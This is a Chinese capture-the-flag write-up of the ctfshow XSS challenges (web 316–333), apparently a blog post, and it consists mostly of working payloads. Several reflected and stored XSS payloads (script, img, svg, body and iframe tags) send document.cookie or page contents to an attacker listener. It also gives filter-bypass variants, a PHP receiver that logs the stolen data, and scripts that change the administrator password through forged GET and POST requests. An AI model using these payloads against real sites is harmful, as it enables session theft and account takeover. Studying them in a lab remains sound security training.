ctfshow—XSS

web 316(反射型)

测试<script>alert(1)</script>,无过滤

在服务器上开启监听

python3 -m http.server 39543

外带数据:

<script>location.href="http://x.xx.xx.xx:39543/"+document.cookie</script>
<script>window.location.href="http://x.xx.xx.xx:39543/"+document.cookie</script>
<script>window.open('http://x.xx.xx.xx:39543'+document.cookie)</script>

img标签

<img src='' onerror=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

svg标签

<svg onload=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

body标签

<body onload=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

iframe标签

<iframe onload="window.open('http://x.xx.xx.xx:39543/'+document.cookie)"></iframe>

web 317(反射型)

过滤了script标签,利用img标签

<img src='' onerror=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

web 318(反射型)

使用svg标签

<svg onload=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

web 319(反射型)

使用body标签

<body onload=location.href="http://x.xx.xx.xx:39543/"+document.cookie>

web 320-326(反射型)

过滤了空格,用/或者水平制表符绕过

<body/onload=document.location="http://x.xx.xx.xx:39543/"+document.cookie>

web 327(存储型)

无过滤,注意收件人是admin

image-20220122170534716

web 328(存储型)

构造用户名触发存储型XSS盗取管理员cookie,伪造管理员

注册:

image-20220122174118611

监听:

image-20220122174155539

再替换原来的cookie,访问用户管理界面即可

web 329(存储型)

此题之后,设置了在把cookie发送给你之前就失效了,所以需要用其他方式获取页面元素

<script>location.href="http://x.xx.xx.xx:39543/"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML</script>

或者自己搭建:

test.js

var img = new Image();
img.src = "http://your-domain/cookie.php?q="+document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);

cookie.php

<?php
$cookie = $_GET['q']; 
$myFile = "cookie.txt"; 
file_put_contents($myFile, $cookie, FILE_APPEND);
?>

web 330(存储型)

新增了修改密码的功能,按照上一题方法获得的数据是加密的

可以使用:

<script>location.href="http://x.xx.xx.xx:39543/"+document.getElementsByClassName('layui-container')[0].outerHTML</script>

但预期是修改管理员密码

注册:

<script>location.href="http://127.0.0.1/api/change.php?p=123456"</script>

这样管理员在查看用户管理界面时就会修改密码

web 331(存储型)

仍然是修改密码,但请求变为了POST请求

模板:

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
* 获取数据后的处理程序
*/
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

所以构造:

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>

web 332

逻辑漏洞

注册一个账号<script>alert(1)</script>,再给其他收款人转负数的钱,自己钱增加

最后购买flag即可

web 333

逻辑漏洞

只能自己向自己转账且只能转低于目前钱数的金额,利用bp跑一下

参考:

https://blog.csdn.net/solitudi/article/details/111568030

http://www.yongsheng.site/2021/04/20/ctfshow%20web%E5%85%A5%E9%97%A8(xss)/

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值